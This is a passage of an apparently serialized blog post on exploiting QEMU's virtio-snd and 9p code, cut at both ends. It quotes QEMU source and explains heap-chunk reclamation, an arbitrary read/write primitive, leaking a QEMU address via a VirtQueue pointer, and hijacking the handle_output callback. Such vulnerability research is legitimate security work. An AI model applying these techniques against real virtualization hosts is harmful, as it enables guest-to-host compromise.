g_hash_table_lookup",{"type":22,"tag":264,"props":131696,"children":131697},{"style":1539},[131698],{"type":27,"value":2660},{"type":22,"tag":264,"props":131700,"children":131701},{"style":1549},[131702],{"type":27,"value":11950},{"type":22,"tag":264,"props":131704,"children":131705},{"style":1539},[131706],{"type":27,"value":15056},{"type":22,"tag":264,"props":131708,"children":131709},{"style":1549},[131710],{"type":27,"value":131711},"fids",{"type":22,"tag":264,"props":131713,"children":131714},{"style":1539},[131715],{"type":27,"value":4380},{"type":22,"tag":264,"props":131717,"children":131718},{"style":4401},[131719],{"type":27,"value":131720},"GINT_TO_POINTER",{"type":22,"tag":264,"props":131722,"children":131723},{"style":1539},[131724],{"type":27,"value":131725},"(fid));\n",{"type":22,"tag":264,"props":131727,"children":131728},{"class":1534,"line":10361},[131729,131733],{"type":22,"tag":264,"props":131730,"children":131731},{"style":4328},[131732],{"type":27,"value":13578},{"type":22,"tag":264,"props":131734,"children":131735},{"style":1539},[131736],{"type":27,"value":131737}," (f) {\n",{"type":22,"tag":264,"props":131739,"children":131740},{"class":1534,"line":10406},[131741],{"type":22,"tag":264,"props":131742,"children":131743},{"style":4284},[131744],{"type":27,"value":131745},"        /* If fid is already there return NULL */\n",{"type":22,"tag":264,"props":131747,"children":131748},{"class":1534,"line":10512},[131749,131754,131758,131762,131766,131771],{"type":22,"tag":264,"props":131750,"children":131751},{"style":4401},[131752],{"type":27,"value":131753},"        BUG_ON",{"type":22,"tag":264,"props":131755,"children":131756},{"style":1539},[131757],{"type":27,"value":2660},{"type":22,"tag":264,"props":131759,"children":131760},{"style":1549},[131761],{"type":27,"value":34401},{"type":22,"tag":264,"props":131763,"children":131764},{"style":1539},[131765],{"type":27,"value":15056},{"type":22,"tag":264,"props":131767,"children":131768},{"style":1549},[131769],{"type":27,"value":131770},"clunked",{"type":22,"tag":264,"props":131772,"children":131773},{"style":1539},[131774],{"type":27,"value":5142},{"type":22,"tag":264,"props":131776,"children":131777},{"class":1534,"line":24810},[131778,131782,131786],{"type":22,"tag":264,"props":131779,"children":131780},{"style":4328},[131781],{"type":27,"value":17044},{"type":22,"tag":264,"props":131783,"children":131784},{"style":4293},[131785],{"type":27,"value":129070},{"type":22,"tag":264,"props":131787,"children":131788},{"style":1539},[131789],{"type":27,"value":4322},{"type":22,"tag":264,"props":131791,"children":131792},{"class":1534,"line":24845},[131793],{"type":22,"tag":264,"props":131794,"children":131795},{"style":1539},[131796],{"type":27,"value":1674},{"type":22,"tag":264,"props":131798,"children":131799},{"class":1534,"line":24853},[131800,131804,131808,131813,131818,131822],{"type":22,"tag":264,"props":131801,"children":131802},{"style":1539},[131803],{"type":27,"value":131685},{"type":22,"tag":264,"props":131805,"children":131806},{"style":4309},[131807],{"type":27,"value":429},{"type":22,"tag":264,"props":131809,"children":131810},{"style":4401},[131811],{"type":27,"value":131812}," g_new0",{"type":22,"tag":264,"props":131814,"children":131815},{"style":1539},[131816],{"type":27,"value":131817},"(V9fsFidState, ",{"type":22,"tag":264,"props":131819,"children":131820},{"style":4344},[131821],{"type":27,"value":602},{"type":22,"tag":264,"props":131823,"children":131824},{"style":1539},[131825],{"type":27,"value":5142},{"type":22,"tag":264,"props":131827,"children":131828},{"class":1534,"line":24861},[131829],{"type":22,"tag":264,"props":131830,"children":131831},{"emptyLinePlaceholder":17},[131832],{"type":27,"value":4986},{"type":22,"tag":264,"props":131834,"children":131835},{"class":1534,"line":24870},[131836],{"type":22,"tag":264,"props":131837,"children":131838},{"style":1539},[131839],{"type":27,"value":106122},{"type":22,"tag":23,"props":131841,"children":131842},{},[131843,131845,131850],{"type":27,"value":131844},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":22,"tag":257,"props":131846,"children":131848},{"className":131847},[],[131849],{"type":27,"value":130645},{"type":27,"value":129982},{"type":22,"tag":618,"props":131852,"children":131854},{"code":131853},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+---------------+----+\n|                    |               |....|\n|      .value Y      |  V9fsFidState |....|\n|                    |               |....|\n+--------------------+---------------+----+\n",[131855],{"type":22,"tag":257,"props":131856,"children":131857},{"__ignoreMap":7},[131858],{"type":27,"value":131853},{"type":22,"tag":20197,"props":131860,"children":131862},{"id":131861},"leaking-a-qemu-address",[131863],{"type":27,"value":131864},"Leaking a QEMU Address",{"type":22,"tag":23,"props":131866,"children":131867},{},[131868],{"type":27,"value":131869},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":22,"tag":23,"props":131871,"children":131872},{},[131873,131875,131880],{"type":27,"value":131874},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":22,"tag":257,"props":131876,"children":131878},{"className":131877},[],[131879],{"type":27,"value":125065},{"type":27,"value":5785},{"type":22,"tag":618,"props":131882,"children":131884},{"code":131883,"language":4449,"meta":7,"className":17815,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtIOSound *vsnd = VIRTIO_SND(vdev);\n    VirtIOSoundPCMBuffer *buffer;\n    VirtQueueElement *elem;\n    size_t msg_sz, size;\n    uint32_t stream_id;\n\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n        if (!elem) {\n            break;\n        }\n        /* get the message hdr object */\n        msg_sz = iov_to_buf(elem->out_sg,\n                            elem->out_num,\n                            0,\n                            &hdr,\n                            sizeof(virtio_snd_pcm_xfer));\n        if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n            goto rx_err;\n        }\n        stream_id = le32_to_cpu(hdr.stream_id);\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);    // [1]\n            buffer->elem = elem;\n            buffer->vq = vq;                                            // [2]\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n        }\n",[131885],{"type":22,"tag":257,"props":131886,"children":131887},{"__ignoreMap":7},[131888,131931,131938,131969,131984,131999,132011,132024,132031,132038,132045,132056,132071,132078,132106,132125,132136,132143,132151,132188,132209,132221,132234,132247,132273,132285,132292,132330,132337,132344,132351,132382,132437,132449,132490,132513,132542,132569,132596,132628],{"type":22,"tag":264,"props":131889,"children":131890},{"class":1534,"line":1535},[131891,131895,131899,131903,131907,131911,131915,131919,131923,131927],{"type":22,"tag":264,"props":131892,"children":131893},{"style":4293},[131894],{"type":27,"value":52365},{"type":22,"tag":264,"props":131896,"children":131897},{"style":4293},[131898],{"type":27,"value":52370},{"type":22,"tag":264,"props":131900,"children":131901},{"style":4401},[131902],{"type":27,"value":125144},{"type":22,"tag":264,"props":131904,"children":131905},{"style":1539},[131906],{"type":27,"value":125149},{"type":22,"tag":264,"props":131908,"children":131909},{"style":4309},[131910],{"type":27,"value":5865},{"type":22,"tag":264,"props":131912,"children":131913},{"style":1549},[131914],{"type":27,"value":125158},{"type":22,"tag":264,"props":131916,"children":131917},{"style":1539},[131918],{"type":27,"value":125163},{"type":22,"tag":264,"props":131920,"children":131921},{"style":4309},[131922],{"type":27,"value":5865},{"type":22,"tag":264,"props":131924,"children":131925},{"style":1549},[131926],{"type":27,"value":125172},{"type":22,"tag":264,"props":131928,"children":131929},{"style":1539},[131930],{"type":27,"value":4463},{"type":22,"tag":264,"props":131932,"children":131933},{"class":1534,"line":1545},[131934],{"type":22,"tag":264,"props":131935,"children":131936},{"style":1539},[131937],{"type":27,"value":1542},{"type":22,"tag":264,"props":131939,"children":131940},{"class":1534,"line":1560},[131941,131946,131950,131955,131959,131964],{"type":22,"tag":264,"props":131942,"children":131943},{"style":1539},[131944],{"type":27,"value":131945},"    VirtIOSound ",{"type":22,"tag":264,"props":131947,"children":131948},{"style":4309},[131949],{"type":27,"value":5865},{"type":22,"tag":264,"props":131951,"children":131952},{"style":1539},[131953],{"type":27,"value":131954},"vsnd ",{"type":22,"tag":264,"props":131956,"children":131957},{"style":4309},[131958],{"type":27,"value":429},{"type":22,"tag":264,"props":131960,"children":131961},{"style":4401},[131962],{"type":27,"value":131963}," VIRTIO_SND",{"type":22,"tag":264,"props":131965,"children":131966},{"style":1539},[131967],{"type":27,"value":131968},"(vdev);\n",{"type":22,"tag":264,"props":131970,"children":131971},{"class":1534,"line":1569},[131972,131976,131980],{"type":22,"tag":264,"props":131973,"children":131974},{"style":1539},[131975],{"type":27,"value":126162},{"type":22,"tag":264,"props":131977,"children":131978},{"style":4309},[131979],{"type":27,"value":5865},{"type":22,"tag":264,"props":131981,"children":131982},{"style":1539},[131983],{"type":27,"value":126171},{"type":22,"tag":264,"props":131985,"children":131986},{"class":1534,"line":1583},[131987,131991,131995],{"type":22,"tag":264,"props":131988,"children":131989},{"style":1539},[131990],{"type":27,"value":125191},{"type":22,"tag":264,"props":131992,"children":131993},{"style":4309},[131994],{"type":27,"value":5865},{"type":22,"tag":264,"props":131996,"children":131997},{"style":1539},[131998],{"type":27,"value":125200},{"type":22,"tag":264,"props":132000,"children":132001},{"class":1534,"line":1603},[132002,132006],{"type":22,"tag":264,"props":132003,"children":132004},{"style":4293},[132005],{"type":27,"value":17865},{"type":22,"tag":264,"props":132007,"children":132008},{"style":1539},[132009],{"type":27,"value":132010}," msg_sz, size;\n",{"type":22,"tag":264,"props":132012,"children":132013},{"class":1534,"line":1612},[132014,132019],{"type":22,"tag":264,"props":132015,"children":132016},{"style":4293},[132017],{"type":27,"value":132018},"    uint32_t",{"type":22,"tag":264,"props":132020,"children":132021},{"style":1539},[132022],{"type":27,"value":132023}," stream_id;\n",{"type":22,"tag":264,"props":132025,"children":132026},{"class":1534,"line":1621},[132027],{"type":22,"tag":264,"props":132028,"children":132029},{"emptyLinePlaceholder":17},[132030],{"type":27,"value":4986},{"type":22,"tag":264,"props":132032,"children":132033},{"class":1534,"line":1629},[132034],{"type":22,"tag":264,"props":132035,"children":132036},{"style":1539},[132037],{"type":27,"value":106122},{"type":22,"tag":264,"props":132039,"children":132040},{"class":1534,"line":1642},[132041],{"type":22,"tag":264,"props":132042,"children":132043},{"emptyLinePlaceholder":17},[132044],{"type":27,"value":4986},{"type":22,"tag":264,"props":132046,"children":132047},{"class":1534,"line":1660},[132048,132052],{"type":22,"tag":264,"props":132049,"children":132050},{"style":4328},[132051],{"type":27,"value":4331},{"type":22,"tag":264,"props":132053,"children":132054},{"style":1539},[132055],{"type":27,"value":125226},{"type":22,"tag":264,"props":132057,"children":132058},{"class":1534,"line":1668},[132059,132063,132067],{"type":22,"tag":264,"props":132060,"children":132061},{"style":1539},[132062],{"type":27,"value":125234},{"type":22,"tag":264,"props":132064,"children":132065},{"style":4309},[132066],{"type":27,"value":5865},{"type":22,"tag":264,"props":132068,"children":132069},{"style":1539},[132070],{"type":27,"value":125243},{"type":22,"tag":264,"props":132072,"children":132073},{"class":1534,"line":1677},[132074],{"type":22,"tag":264,"props":132075,"children":132076},{"emptyLinePlaceholder":17},[132077],{"type":27,"value":4986},{"type":22,"tag":264,"props":132079,"children":132080},{"class":1534,"line":1686},[132081,132085,132089,132093,132097,132101],{"type":22,"tag":264,"props":132082,"children":132083},{"style":1539},[132084],{"type":27,"value":125258},{"type":22,"tag":264,"props":132086,"children":132087},{"style":4309},[132088],{"type":27,"value":429},{"type":22,"tag":264,"props":132090,"children":132091},{"style":4401},[132092],{"type":27,"value":125267},{"type":22,"tag":264,"props":132094,"children":132095},{"style":1539},[132096],{"type":27,"value":125272},{"type":22,"tag":264,"props":132098,"children":132099},{"style":4293},[132100],{"type":27,"value":56649},{"type":22,"tag":264,"props":132102,"children":132103},{"style":1539},[132104],{"type":27,"value":132105},"(VirtQueueElement));\n",{"type":22,"tag":264,"props":132107,"children":132108},{"class":1534,"line":4948},[132109,132113,132117,132121],{"type":22,"tag":264,"props":132110,"children":132111},{"style":4328},[132112],{"type":27,"value":4575},{"type":22,"tag":264,"props":132114,"children":132115},{"style":1539},[132116],{"type":27,"value":4370},{"type":22,"tag":264,"props":132118,"children":132119},{"style":4309},[132120],{"type":27,"value":21928},{"type":22,"tag":264,"props":132122,"children":132123},{"style":1539},[132124],{"type":27,"value":125306},{"type":22,"tag":264,"props":132126,"children":132127},{"class":1534,"line":4957},[132128,132132],{"type":22,"tag":264,"props":132129,"children":132130},{"style":4328},[132131],{"type":27,"value":4602},{"type":22,"tag":264,"props":132133,"children":132134},{"style":1539},[132135],{"type":27,"value":4322},{"type":22,"tag":264,"props":132137,"children":132138},{"class":1534,"line":4980},[132139],{"type":22,"tag":264,"props":132140,"children":132141},{"style":1539},[132142],{"type":27,"value":4651},{"type":22,"tag":264,"props":132144,"children":132145},{"class":1534,"line":4989},[132146],{"type":22,"tag":264,"props":132147,"children":132148},{"style":4284},[132149],{"type":27,"value":132150},"        /* get the message hdr object */\n",{"type":22,"tag":264,"props":132152,"children":132153},{"class":1534,"line":4998},[132154,132159,132163,132168,132172,132176,132180,132184],{"type":22,"tag":264,"props":132155,"children":132156},{"style":1539},[132157],{"type":27,"value":132158},"        msg_sz ",{"type":22,"tag":264,"props":132160,"children":132161},{"style":4309},[132162],{"type":27,"value":429},{"type":22,"tag":264,"props":132164,"children":132165},{"style":4401},[132166],{"type":27,"value":132167}," iov_to_buf",{"type":22,"tag":264,"props":132169,"children":132170},{"style":1539},[132171],{"type":27,"value":2660},{"type":22,"tag":264,"props":132173,"children":132174},{"style":1549},[132175],{"type":27,"value":53385},{"type":22,"tag":264,"props":132177,"children":132178},{"style":1539},[132179],{"type":27,"value":15056},{"type":22,"tag":264,"props":132181,"children":132182},{"style":1549},[132183],{"type":27,"value":125710},{"type":22,"tag":264,"props":132185,"children":132186},{"style":1539},[132187],{"type":27,"value":4812},{"type":22,"tag":264,"props":132189,"children":132190},{"class":1534,"line":5067},[132191,132196,132200,132205],{"type":22,"tag":264,"props":132192,"children":132193},{"style":1549},[132194],{"type":27,"value":132195},"                            elem",{"type":22,"tag":264,"props":132197,"children":132198},{"style":1539},[132199],{"type":27,"value":15056},{"type":22,"tag":264,"props":132201,"children":132202},{"style":1549},[132203],{"type":27,"value":132204},"out_num",{"type":22,"tag":264,"props":132206,"children":132207},{"style":1539},[132208],{"type":27,"value":4812},{"type":22,"tag":264,"props":132210,"children":132211},{"class":1534,"line":5075},[132212,132217],{"type":22,"tag":264,"props":132213,"children":132214},{"style":4344},[132215],{"type":27,"value":132216},"                            0",{"type":22,"tag":264,"props":132218,"children":132219},{"style":1539},[132220],{"type":27,"value":4812},{"type":22,"tag":264,"props":132222,"children":132223},{"class":1534,"line":5105},[132224,132229],{"type":22,"tag":264,"props":132225,"children":132226},{"style":4309},[132227],{"type":27,"value":132228},"                            &",{"type":22,"tag":264,"props":132230,"children":132231},{"style":1539},[132232],{"type":27,"value":132233},"hdr,\n",{"type":22,"tag":264,"props":132235,"children":132236},{"class":1534,"line":5113},[132237,132242],{"type":22,"tag":264,"props":132238,"children":132239},{"style":4293},[132240],{"type":27,"value":132241},"                            sizeof",{"type":22,"tag":264,"props":132243,"children":132244},{"style":1539},[132245],{"type":27,"value":132246},"(virtio_snd_pcm_xfer));\n",{"type":22,"tag":264,"props":132248,"children":132249},{"class":1534,"line":5145},[132250,132254,132259,132263,132268],{"type":22,"tag":264,"props":132251,"children":132252},{"style":4328},[132253],{"type":27,"value":4575},{"type":22,"tag":264,"props":132255,"children":132256},{"style":1539},[132257],{"type":27,"value":132258}," (msg_sz ",{"type":22,"tag":264,"props":132260,"children":132261},{"style":4309},[132262],{"type":27,"value":16988},{"type":22,"tag":264,"props":132264,"children":132265},{"style":4293},[132266],{"type":27,"value":132267}," sizeof",{"type":22,"tag":264,"props":132269,"children":132270},{"style":1539},[132271],{"type":27,"value":132272},"(virtio_snd_pcm_xfer)) {\n",{"type":22,"tag":264,"props":132274,"children":132275},{"class":1534,"line":5153},[132276,132280],{"type":22,"tag":264,"props":132277,"children":132278},{"style":4328},[132279],{"type":27,"value":61871},{"type":22,"tag":264,"props":132281,"children":132282},{"style":1539},[132283],{"type":27,"value":132284}," rx_err;\n",{"type":22,"tag":264,"props":132286,"children":132287},{"class":1534,"line":5213},[132288],{"type":22,"tag":264,"props":132289,"children":132290},{"style":1539},[132291],{"type":27,"value":4651},{"type":22,"tag":264,"props":132293,"children":132294},{"class":1534,"line":10343},[132295,132300,132304,132308,132312,132317,132321,132326],{"type":22,"tag":264,"props":132296,"children":132297},{"style":1539},[132298],{"type":27,"value":132299},"        stream_id ",{"type":22,"tag":264,"props":132301,"children":132302},{"style":4309},[132303],{"type":27,"value":429},{"type":22,"tag":264,"props":132305,"children":132306},{"style":4401},[132307],{"type":27,"value":127172},{"type":22,"tag":264,"props":132309,"children":132310},{"style":1539},[132311],{"type":27,"value":2660},{"type":22,"tag":264,"props":132313,"children":132314},{"style":1549},[132315],{"type":27,"value":132316},"hdr",{"type":22,"tag":264,"props":132318,"children":132319},{"style":1539},[132320],{"type":27,"value":210},{"type":22,"tag":264,"props":132322,"children":132323},{"style":1549},[132324],{"type":27,"value":132325},"stream_id",{"type":22,"tag":264,"props":132327,"children":132328},{"style":1539},[132329],{"type":27,"value":5142},{"type":22,"tag":264,"props":132331,"children":132332},{"class":1534,"line":10361},[132333],{"type":22,"tag":264,"props":132334,"children":132335},{"emptyLinePlaceholder":17},[132336],{"type":27,"value":4986},{"type":22,"tag":264,"props":132338,"children":132339},{"class":1534,"line":10406},[132340],{"type":22,"tag":264,"props":132341,"children":132342},{"style":1539},[132343],{"type":27,"value":125339},{"type":22,"tag":264,"props":132345,"children":132346},{"class":1534,"line":10512},[132347],{"type":22,"tag":264,"props":132348,"children":132349},{"emptyLinePlaceholder":17},[132350],{"type":27,"value":4986},{"type":22,"tag":264,"props":132352,"children":132353},{"class":1534,"line":24810},[132354,132358,132362,132366,132370,132374,132378],{"type":22,"tag":264,"props":132355,"children":132356},{"style":4401},[132357],{"type":27,"value":125354},{"type":22,"tag":264,"props":132359,"children":132360},{"style":1539},[132361],{"type":27,"value":2660},{"type":22,"tag":264,"props":132363,"children":132364},{"style":4309},[132365],{"type":27,"value":4413},{"type":22,"tag":264,"props":132367,"children":132368},{"style":1549},[132369],{"type":27,"value":37576},{"type":22,"tag":264,"props":132371,"children":132372},{"style":1539},[132373],{"type":27,"value":15056},{"type":22,"tag":264,"props":132375,"children":132376},{"style":1549},[132377],{"type":27,"value":125375},{"type":22,"tag":264,"props":132379,"children":132380},{"style":1539},[132381],{"type":27,"value":16103},{"type":22,"tag":264,"props":132383,"children":132384},{"class":1534,"line":24845},[132385,132389,132393,132397,132401,132405,132409,132413,132417,132421,132425,132429,132433],{"type":22,"tag":264,"props":132386,"children":132387},{"style":1539},[132388],{"type":27,"value":125387},{"type":22,"tag":264,"props":132390,"children":132391},{"style":4309},[132392],{"type":27,"value":429},{"type":22,"tag":264,"props":132394,"children":132395},{"style":4401},[132396],{"type":27,"value":125396},{"type":22,"tag":264,"props":132398,"children":132399},{"style":1539},[132400],{"type":27,"value":2660},{"type":22,"tag":264,"props":132402,"children":132403},{"style":1549},[132404],{"type":27,"value":53385},{"type":22,"tag":264,"props":132406,"children":132407},{"style":1539},[132408],{"type":27,"value":15056},{"type":22,"tag":264,"props":132410,"children":132411},{"style":1549},[132412],{"type":27,"value":125413},{"type":22,"tag":264,"props":132414,"children":132415},{"style":1539},[132416],{"type":27,"value":4380},{"type":22,"tag":264,"props":132418,"children":132419},{"style":1549},[132420],{"type":27,"value":53385},{"type":22,"tag":264,"props":132422,"children":132423},{"style":1539},[132424],{"type":27,"value":15056},{"type":22,"tag":264,"props":132426,"children":132427},{"style":1549},[132428],{"type":27,"value":125430},{"type":22,"tag":264,"props":132430,"children":132431},{"style":1539},[132432],{"type":27,"value":4390},{"type":22,"tag":264,"props":132434,"children":132435},{"style":4309},[132436],{"type":27,"value":52182},{"type":22,"tag":264,"props":132438,"children":132439},{"class":1534,"line":24853},[132440,132444],{"type":22,"tag":264,"props":132441,"children":132442},{"style":4293},[132443],{"type":27,"value":125446},{"type":22,"tag":264,"props":132445,"children":132446},{"style":1539},[132447],{"type":27,"value":132448},"(virtio_snd_pcm_status);\n",{"type":22,"tag":264,"props":132450,"children":132451},{"class":1534,"line":24861},[132452,132456,132460,132464,132468,132472,132476,132480,132485],{"type":22,"tag":264,"props":132453,"children":132454},{"style":1539},[132455],{"type":27,"value":125464},{"type":22,"tag":264,"props":132457,"children":132458},{"style":4309},[132459],{"type":27,"value":429},{"type":22,"tag":264,"props":132461,"children":132462},{"style":4401},[132463],{"type":27,"value":125473},{"type":22,"tag":264,"props":132465,"children":132466},{"style":1539},[132467],{"type":27,"value":2660},{"type":22,"tag":264,"props":132469,"children":132470},{"style":4293},[132471],{"type":27,"value":56649},{"type":22,"tag":264,"props":132473,"children":132474},{"style":1539},[132475],{"type":27,"value":125486},{"type":22,"tag":264,"props":132477,"children":132478},{"style":4309},[132479],{"type":27,"value":673},{"type":22,"tag":264,"props":132481,"children":132482},{"style":1539},[132483],{"type":27,"value":132484}," size);",{"type":22,"tag":264,"props":132486,"children":132487},{"style":4284},[132488],{"type":27,"value":132489},"    // [1]\n",{"type":22,"tag":264,"props":132491,"children":132492},{"class":1534,"line":24870},[132493,132497,132501,132505,132509],{"type":22,"tag":264,"props":132494,"children":132495},{"style":1549},[132496],{"type":27,"value":125503},{"type":22,"tag":264,"props":132498,"children":132499},{"style":1539},[132500],{"type":27,"value":15056},{"type":22,"tag":264,"props":132502,"children":132503},{"style":1549},[132504],{"type":27,"value":53385},{"type":22,"tag":264,"props":132506,"children":132507},{"style":4309},[132508],{"type":27,"value":4312},{"type":22,"tag":264,"props":132510,"children":132511},{"style":1539},[132512],{"type":27,"value":125520},{"type":22,"tag":264,"props":132514,"children":132515},{"class":1534,"line":24912},[132516,132520,132524,132528,132532,132537],{"type":22,"tag":264,"props":132517,"children":132518},{"style":1549},[132519],{"type":27,"value":125503},{"type":22,"tag":264,"props":132521,"children":132522},{"style":1539},[132523],{"type":27,"value":15056},{"type":22,"tag":264,"props":132525,"children":132526},{"style":1549},[132527],{"type":27,"value":125172},{"type":22,"tag":264,"props":132529,"children":132530},{"style":4309},[132531],{"type":27,"value":4312},{"type":22,"tag":264,"props":132533,"children":132534},{"style":1539},[132535],{"type":27,"value":132536}," vq;",{"type":22,"tag":264,"props":132538,"children":132539},{"style":4284},[132540],{"type":27,"value":132541},"                                            // [2]\n",{"type":22,"tag":264,"props":132543,"children":132544},{"class":1534,"line":24945},[132545,132549,132553,132557,132561,132565],{"type":22,"tag":264,"props":132546,"children":132547},{"style":1549},[132548],{"type":27,"value":125503},{"type":22,"tag":264,"props":132550,"children":132551},{"style":1539},[132552],{"type":27,"value":15056},{"type":22,"tag":264,"props":132554,"children":132555},{"style":1549},[132556],{"type":27,"value":125560},{"type":22,"tag":264,"props":132558,"children":132559},{"style":4309},[132560],{"type":27,"value":4312},{"type":22,"tag":264,"props":132562,"children":132563},{"style":4344},[132564],{"type":27,"value":4347},{"type":22,"tag":264,"props":132566,"children":132567},{"style":1539},[132568],{"type":27,"value":4322},{"type":22,"tag":264,"props":132570,"children":132571},{"class":1534,"line":24953},[132572,132576,132580,132584,132588,132592],{"type":22,"tag":264,"props":132573,"children":132574},{"style":1549},[132575],{"type":27,"value":125503},{"type":22,"tag":264,"props":132577,"children":132578},{"style":1539},[132579],{"type":27,"value":15056},{"type":22,"tag":264,"props":132581,"children":132582},{"style":1549},[132583],{"type":27,"value":15200},{"type":22,"tag":264,"props":132585,"children":132586},{"style":4309},[132587],{"type":27,"value":4312},{"type":22,"tag":264,"props":132589,"children":132590},{"style":4344},[132591],{"type":27,"value":4347},{"type":22,"tag":264,"props":132593,"children":132594},{"style":1539},[132595],{"type":27,"value":4322},{"type":22,"tag":264,"props":132597,"children":132598},{"class":1534,"line":24961},[132599,132603,132607,132611,132615,132619,132623],{"type":22,"tag":264,"props":132600,"children":132601},{"style":4401},[132602],{"type":27,"value":125607},{"type":22,"tag":264,"props":132604,"children":132605},{"style":1539},[132606],{"type":27,"value":2660},{"type":22,"tag":264,"props":132608,"children":132609},{"style":4309},[132610],{"type":27,"value":4413},{"type":22,"tag":264,"props":132612,"children":132613},{"style":1549},[132614],{"type":27,"value":37576},{"type":22,"tag":264,"props":132616,"children":132617},{"style":1539},[132618],{"type":27,"value":15056},{"type":22,"tag":264,"props":132620,"children":132621},{"style":1549},[132622],{"type":27,"value":125628},{"type":22,"tag":264,"props":132624,"children":132625},{"style":1539},[132626],{"type":27,"value":132627},", buffer, entry);\n",{"type":22,"tag":264,"props":132629,"children":132630},{"class":1534,"line":24970},[132631],{"type":22,"tag":264,"props":132632,"children":132633},{"style":1539},[132634],{"type":27,"value":4651},{"type":22,"tag":23,"props":132636,"children":132637},{},[132638,132639,132644,132646,132651,132653,132658,132660,132666],{"type":27,"value":125682},{"type":22,"tag":257,"props":132640,"children":132642},{"className":132641},[],[132643],{"type":27,"value":125688},{"type":27,"value":132645},", QEMU allocates a ",{"type":22,"tag":257,"props":132647,"children":132649},{"className":132648},[],[132650],{"type":27,"value":125825},{"type":27,"value":132652}," whose size depends on the guest-provided iovec, and at ",{"type":22,"tag":257,"props":132654,"children":132656},{"className":132655},[],[132657],{"type":27,"value":125723},{"type":27,"value":132659}," it stores the ",{"type":22,"tag":257,"props":132661,"children":132663},{"className":132662},[],[132664],{"type":27,"value":132665},"VirtQueue *vq",{"type":27,"value":132667}," pointer into the buffer.",{"type":22,"tag":23,"props":132669,"children":132670},{},[132671,132672,132678],{"type":27,"value":65539},{"type":22,"tag":257,"props":132673,"children":132675},{"className":132674},[],[132676],{"type":27,"value":132677},"VirtQueue",{"type":27,"value":132679}," structure contains some useful fields:",{"type":22,"tag":618,"props":132681,"children":132683},{"code":132682,"language":4449,"meta":7,"className":17815,"style":7},"struct VirtQueue\n{\n    [...]\n\n    VirtIOHandleOutput handle_output;\n    VirtIODevice *vdev;\n\n    [...]\n};\n",[132684],{"type":22,"tag":257,"props":132685,"children":132686},{"__ignoreMap":7},[132687,132699,132706,132713,132720,132728,132745,132752,132759],{"type":22,"tag":264,"props":132688,"children":132689},{"class":1534,"line":1535},[132690,132694],{"type":22,"tag":264,"props":132691,"children":132692},{"style":4293},[132693],{"type":27,"value":10699},{"type":22,"tag":264,"props":132695,"children":132696},{"style":1539},[132697],{"type":27,"value":132698}," VirtQueue\n",{"type":22,"tag":264,"props":132700,"children":132701},{"class":1534,"line":1545},[132702],{"type":22,"tag":264,"props":132703,"children":132704},{"style":1539},[132705],{"type":27,"value":1542},{"type":22,"tag":264,"props":132707,"children":132708},{"class":1534,"line":1560},[132709],{"type":22,"tag":264,"props":132710,"children":132711},{"style":1539},[132712],{"type":27,"value":106122},{"type":22,"tag":264,"props":132714,"children":132715},{"class":1534,"line":1569},[132716],{"type":22,"tag":264,"props":132717,"children":132718},{"emptyLinePlaceholder":17},[132719],{"type":27,"value":4986},{"type":22,"tag":264,"props":132721,"children":132722},{"class":1534,"line":1583},[132723],{"type":22,"tag":264,"props":132724,"children":132725},{"style":1539},[132726],{"type":27,"value":132727},"    VirtIOHandleOutput handle_output;\n",{"type":22,"tag":264,"props":132729,"children":132730},{"class":1534,"line":1603},[132731,132736,132740],{"type":22,"tag":264,"props":132732,"children":132733},{"style":1539},[132734],{"type":27,"value":132735},"    VirtIODevice ",{"type":22,"tag":264,"props":132737,"children":132738},{"style":4309},[132739],{"type":27,"value":5865},{"type":22,"tag":264,"props":132741,"children":132742},{"style":1539},[132743],{"type":27,"value":132744},"vdev;\n",{"type":22,"tag":264,"props":132746,"children":132747},{"class":1534,"line":1612},[132748],{"type":22,"tag":264,"props":132749,"children":132750},{"emptyLinePlaceholder":17},[132751],{"type":27,"value":4986},{"type":22,"tag":264,"props":132753,"children":132754},{"class":1534,"line":1621},[132755],{"type":22,"tag":264,"props":132756,"children":132757},{"style":1539},[132758],{"type":27,"value":106122},{"type":22,"tag":264,"props":132760,"children":132761},{"class":1534,"line":1629},[132762],{"type":22,"tag":264,"props":132763,"children":132764},{"style":1539},[132765],{"type":27,"value":17878},{"type":22,"tag":23,"props":132767,"children":132768},{},[132769,132770,132776,132778,132784],{"type":27,"value":17914},{"type":22,"tag":257,"props":132771,"children":132773},{"className":132772},[],[132774],{"type":27,"value":132775},".handle_output",{"type":27,"value":132777}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":22,"tag":257,"props":132779,"children":132781},{"className":132780},[],[132782],{"type":27,"value":132783},".vdev",{"type":27,"value":132785}," is the pointer passed to it as the first argument:",{"type":22,"tag":618,"props":132787,"children":132789},{"code":132788,"language":4449,"meta":7,"className":17815,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n    if (vq->vring.desc && vq->handle_output) {\n        VirtIODevice *vdev = vq->vdev;\n\n        [...]\n\n        vq->handle_output(vdev, vq);\n\n        [...]\n    